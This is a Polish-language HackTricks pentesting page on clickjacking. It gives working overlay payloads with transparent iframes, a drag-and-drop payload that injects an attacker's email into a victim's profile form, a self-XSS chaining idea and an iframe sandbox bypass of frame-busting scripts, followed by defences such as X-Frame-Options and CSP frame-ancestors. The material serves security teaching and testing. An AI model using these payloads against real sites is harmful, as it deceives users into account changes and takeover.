hacktricks/pentesting-web/clickjacking.md

225 lines
12 KiB
Markdown

# Clickjacking
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Co to jest Clickjacking
W ataku clickjacking **użytkownik** jest **oszukany**, aby **kliknąć** w **element** na stronie internetowej, który jest albo **niewidoczny** albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, podanie poświadczeń dostępu lub poufnych informacji, transfery pieniężne lub zakupy online.
### Trik wypełniania formularzy
Czasami możliwe jest **wypełnienie wartości pól formularza za pomocą parametrów GET podczas ładowania strony**. Atakujący może wykorzystać to zachowanie, aby wypełnić formularz dowolnymi danymi i wysłać ładunek clickjacking, aby użytkownik nacisnął przycisk Wyślij.
### Wypełnij formularz za pomocą przeciągnij i upuść
Jeśli potrzebujesz, aby użytkownik **wypełnił formularz**, ale nie chcesz bezpośrednio prosić go o wpisanie określonych informacji (takich jak e-mail i/lub konkretne hasło, które znasz), możesz poprosić go o **przeciągnięcie i upuszczenie** czegoś, co wpisze Twoje kontrolowane dane, jak w [**tym przykładzie**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Podstawowy ładunek
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Wieloetapowy ładunek
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Przeciągnij i upuść + Kliknij ładunek
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
Jeśli zidentyfikowano **atak XSS, który wymaga kliknięcia przez użytkownika** w pewny element, aby **wywołać** XSS, a strona jest **podatna na clickjacking**, można to wykorzystać, aby oszukać użytkownika, aby kliknął przycisk/link.\
Przykład:\
_Znaleziono **self XSS** w pewnych prywatnych danych konta (dane, które **tylko ty możesz ustawić i odczytać**). Strona z **formularzem** do ustawienia tych danych jest **podatna** na **Clickjacking**, a można **wstępnie wypełnić** **formularz** parametrami GET._\
\_\_Atakujący mógłby przygotować atak **Clickjacking** na tę stronę, **wstępnie wypełniając** **formularz** **XSS payloadem** i **oszukując** **użytkownika**, aby **zatwierdził** formularz. Tak więc, **gdy formularz zostanie przesłany** i wartości zostaną zmodyfikowane, **użytkownik wykona XSS**.
## Strategie łagodzenia Clickjacking
### Obrona po stronie klienta
Skrypty wykonywane po stronie klienta mogą podejmować działania w celu zapobieżenia Clickjacking:
* Upewnienie się, że okno aplikacji jest głównym lub najwyższym oknem.
* Sprawienie, że wszystkie ramki są widoczne.
* Zapobieganie klikaniu w niewidoczne ramki.
* Wykrywanie i informowanie użytkowników o potencjalnych próbach Clickjacking.
Jednak te skrypty łamiące ramki mogą zostać obejścia:
* **Ustawienia bezpieczeństwa przeglądarek:** Niektóre przeglądarki mogą blokować te skrypty na podstawie swoich ustawień bezpieczeństwa lub braku obsługi JavaScript.
* **Atrybut HTML5 iframe `sandbox`:** Atakujący może zneutralizować skrypty łamiące ramki, ustawiając atrybut `sandbox` z wartościami `allow-forms` lub `allow-scripts` bez `allow-top-navigation`. Zapobiega to ramce weryfikacji, czy jest najwyższym oknem, np.,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### Obrona po stronie serwera
#### X-Frame-Options
Nagłówek odpowiedzi HTTP **`X-Frame-Options`** informuje przeglądarki o legalności renderowania strony w elemencie `<frame>` lub `<iframe>`, pomagając w zapobieganiu Clickjackingowi:
- `X-Frame-Options: deny` - Żadna domena nie może osadzać zawartości.
- `X-Frame-Options: sameorigin` - Tylko bieżąca witryna może osadzać zawartość.
- `X-Frame-Options: allow-from https://trusted.com` - Tylko określony 'uri' może osadzać stronę.
- Należy zauważyć ograniczenia: jeśli przeglądarka nie obsługuje tej dyrektywy, może nie działać. Niektóre przeglądarki preferują dyrektywę CSP frame-ancestors.
#### Dyrektywa frame-ancestors w polityce bezpieczeństwa zawartości (CSP)
**Dyrektywa `frame-ancestors` w CSP** jest zalecaną metodą ochrony przed Clickjackingiem:
- `frame-ancestors 'none'` - Podobne do `X-Frame-Options: deny`.
- `frame-ancestors 'self'` - Podobne do `X-Frame-Options: sameorigin`.
- `frame-ancestors trusted.com` - Podobne do `X-Frame-Options: allow-from`.
Na przykład, poniższa CSP zezwala tylko na osadzanie z tej samej domeny:
`Content-Security-Policy: frame-ancestors 'self';`
Szczegółowe informacje i przykłady zastosowań można znaleźć w [dokumentacji CSP dotyczącej frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) oraz [dokumentacji CSP frame-ancestors Mozilli](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Polityka bezpieczeństwa zawartości (CSP) z `child-src` i `frame-src`
**Polityka bezpieczeństwa zawartości (CSP)** to środek bezpieczeństwa, który pomaga w zapobieganiu Clickjackingowi i innym atakom polegającym na wstrzykiwaniu kodu, określając, które źródła przeglądarka powinna zezwolić na ładowanie zawartości.
#### Dyrektywa `frame-src`
- Określa prawidłowe źródła dla ramek.
- Jest bardziej szczegółowa niż dyrektywa `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Ta polityka pozwala na ramki z tego samego pochodzenia (self) oraz https://trusted-website.com.
#### Dyrektywa `child-src`
* Wprowadzona w CSP poziomu 2 w celu ustawienia prawidłowych źródeł dla web workers i ramek.
* Działa jako opcja zapasowa dla frame-src i worker-src.
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Ta polityka pozwala na ramki i workery z tego samego pochodzenia (self) oraz https://trusted-website.com.
**Notatki dotyczące użycia:**
* Dezaprobaty: child-src jest stopniowo eliminowany na rzecz frame-src i worker-src.
* Zachowanie zapasowe: Jeśli frame-src jest nieobecny, child-src jest używany jako zapasowy dla ramek. Jeśli oba są nieobecne, używane jest default-src.
* Ścisła definicja źródła: Włączaj tylko zaufane źródła w dyrektywy, aby zapobiec eksploatacji.
#### Skrypty JavaScript do łamania ramek
Choć nie są całkowicie niezawodne, skrypty do łamania ramek oparte na JavaScript mogą być używane do zapobiegania osadzaniu strony internetowej w ramce. Przykład:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### Wykorzystanie tokenów Anti-CSRF
* **Walidacja tokenów:** Używaj tokenów Anti-CSRF w aplikacjach internetowych, aby upewnić się, że żądania zmieniające stan są dokonywane celowo przez użytkownika, a nie poprzez stronę podatną na Clickjacking.
## Referencje
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować workflowy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
</details>